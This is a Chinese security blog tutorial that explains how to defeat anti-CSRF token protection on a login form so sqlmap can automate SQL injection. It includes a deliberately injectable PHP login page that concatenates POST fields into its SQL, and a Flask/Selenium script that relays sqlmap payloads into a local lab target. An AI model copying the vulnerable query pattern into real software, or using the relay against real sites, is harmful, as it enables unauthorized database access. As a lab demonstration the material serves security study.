本文作者:Z1NG(信安之路 2019 年度荣誉作者)
逛 tools 看到大佬使用这种方式日站,感觉蛮有意思的,就本地来实现玩玩。开头放上原文链接,以表崇拜之情:
https://www.t00ls.net/articles-52164.html
使用场景
在某些登录框,由于做了 token 保护,当传入的 token 与服务端的不一样的时候就会停止程序进一步的运行。那么如果这个这个登录框存在 SQL 注入,却无法自动化攻击,使用手工脱裤难免有些尴尬。又或者前端使用了某种加密方式,而我们传入的 payload 需要先进行这样的加密。这里介绍的 flask selenium 中转 SQLmap 的方式注入,可以解决上述的问题。
原理
通常一个 token 值都是被隐藏在一个表单之中随着表单一起被发送到服务端,这样使用 selenium 模拟登陆的方式,自然而然可以或得到最新的 token 值,从而绕过保护。那我们如何把 sqlmap 的 payload 传递给 selenium?显然,我们可以搭建一个 web 服务,接收 sqlmap 传递过来的 payload,然后通过 selenium 的将 payload 填入到目标站点之中。
实现利用
首先,先编写一个具有注入的登录框,测试代码如下。以下代码主要是设置了一个 token 值,防止表单重复提交。
代码语言:javascript复制<?php
session_start();
function randStr( $length = 32 )
{
$str = substr(md5(time()), 0, $length);//md5加密,time()当前时间戳
return $str;
}
if(!isset($_SESSION['token']) || $_SESSION['token']=='') {
$_SESSION['token']=randStr();
}
if(isset($_POST['token'])&&$_POST['token']!==$_SESSION['token']){
$_SESSION['token']=randStr();
die("token error");
}
$con = mysqli_connect("localhost","root","root","user");
if(!$con){ die("something erorr"); }
if(isset($_POST['username'])&&isset($_POST['password']))
{
$sql="select * from user where username='".$_POST['username']."' and password='".$_POST['password']."'";
echo $sql,"<br>";
$rs = @mysqli_query($con,$sql);
$r = @mysqli_fetch_array($rs);
}
$_SESSION['token']=randStr();
?>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<div style="margin:0 auto;width:100px">
<form action="index.php" method="POST">
用户名:<input type="text" name="username" id='username'/></br>
密 码:<input type="password" name="password" id='password'/></br>
<input type="hidden" name="token" id="token" value=<?php echo $_SESSION['token'];?> />
<input type="submit" id="submit"/>
</form>
<div>
</html>
如下两个数据包可以看出,重放数据包由于传入的 token 值和服务端的 token 值不符就会被中断。说明我们的 token 值起到了保护的作用了。
那么接下来,就是构造 flask selenium 环境,用来中转 payload,从而绕过这个保护机制。首先要起一个 web 服务承接 sqlmap 发送来的 payload,然后将 payload 通过 selenium 模拟登陆的方式填入表单。
代码如下:
代码语言:javascript复制from flask import Flask
from flask import request
from selenium import webdriver
chrome = webdriver.Chrome()
chrome.get("http://127.0.0.1")
app = Flask(__name__)
def send(payload):
#起到中转payload效果。
chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方
chrome.find_element_by_id("password").send_keys("aaaa")
chrome.find_element_by_id("submit").click()
return "111" #随便返回一下不重要
@app.route('/')
def index():
# 接收sqlmap传递过来的payload
payload = request.args.get("payload")
return send(payload)
if __name__ == "__main__":
app.run()
然后把 python 脚本跑起来,接着使用 sqlmap 扫描我们自己搭建的 flask 服务,效果就如下所示。
代码语言:javascript复制python sqlmap.py -u"127.0.0.1:5000/?payload=1
就这样,虽然 sqlmap 扫描的是 5000 端口的 flask 服务,但是 payload 就成功的被中转到了目标网站上,也能成功的识别出是否存在注入。
最后
其实这里有个疑问,经过了中转 sqlmap 为什么还能识别出注入?
我猜测,上面的测试用例是基于时间的注入,也就是原本判断目标站点的执行时间,被转换成判断 send 函数的执行时间。而 send 函数的执行时间取决于目标网站的执行时间,因此还是等效的。那么有没有办法识别出布尔型注入呢?这个。。。没做尝试。。如果对 selenium 返回结果进行处理的得当的话,应该是可以识别的。代码写的太垃圾。。。所以就没深究了。。。